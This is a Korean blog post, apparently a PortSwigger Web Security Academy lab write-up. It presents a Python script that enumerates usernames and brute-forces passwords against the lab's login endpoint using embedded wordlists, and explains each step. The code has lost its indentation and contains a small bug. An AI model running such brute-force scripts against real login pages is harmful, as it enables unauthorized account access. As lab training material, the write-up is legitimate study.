Brute-force 공격을 통해 100개의 Username 그리고 Password 중에 맞는 Username과 Password를 찾아내면 된다.
100개의 Username과 Password를 직접 입력할 수는 없으니 Brute-force 공격을 해야 한다.
Brute-force 공격을 하기 위한 코드를 작성해 보자.
import requests
N="""root
admin
test
guest
ad
adam
adkit
admin
administracion
administrador
administrator
administrators
admins
ag
apollo
app
app01
app1
apple
application
applications
apps
appserver
aq
ar
archie
arcsight
"""
P="""123456
password
12345678
superman
1qaz2wsx
7777777
sunshine
iloveyou
2000
charlie
robert
thomas
hockey
ranger
summer
love
ashley
nicole
chelsea
biteme
matthew
access
yankees
montana
moon
moscow"""
url = 'https://acf71f091ed3f2718078fa7500a60073.web-security-academy.net/login'
user = N.split("\n")
pw = P.split("\n")
User = []
Pw = []
for i in user:
res = requests.post(url, data={'username':i,'password':'12345'})
print(i)
html = res.text
if not "Invalid username" in html:
print("Success!!")
User.append(i)
리스트 N에 넣은 username을 \n 기준으로 나누어서 user에 넣는다.
리스트 P에 넣은 password을 \n 기준으로 나누어서 pw에 넣는다.
POST 요청할 때 data를 보내는 방법
for문을 이용해 임의의 password와 함께 user 리스트 요소를 차례대로 대입
차례대로 대입 하면서 if not문을 이용해서 존재하는 아이디를 User 리스트에 저장.
for j in pw :
req = requests.post(url, data={'username':User,'password':j})
print(j)
html = req.text
if not "Incorrect password" in html:
print("Success!!")
Pw.append(j)
print(User)
print(Pw)
for문을 이용해 존재 username과 함께 pw 리스트 요소를 차례대로 대입.
차례대로 대입 하면서 if not문을 이용해서 맞는 비밀번호를 Pw 리스트에 저장.
print(User), print(Pw)
위 명령어를 이용해서 username과 password를 출력한다
'Security > Web Hacking' 카테고리의 다른 글
SSF : 데이터 베이스, MySQL, PHP (1) | 2021.08.27 |
---|---|
XSS-GAME Write up [Level 1 ~ Level 5] (0) | 2021.07.15 |
7월 8일 > Hacking and Vulnerability (0) | 2021.07.08 |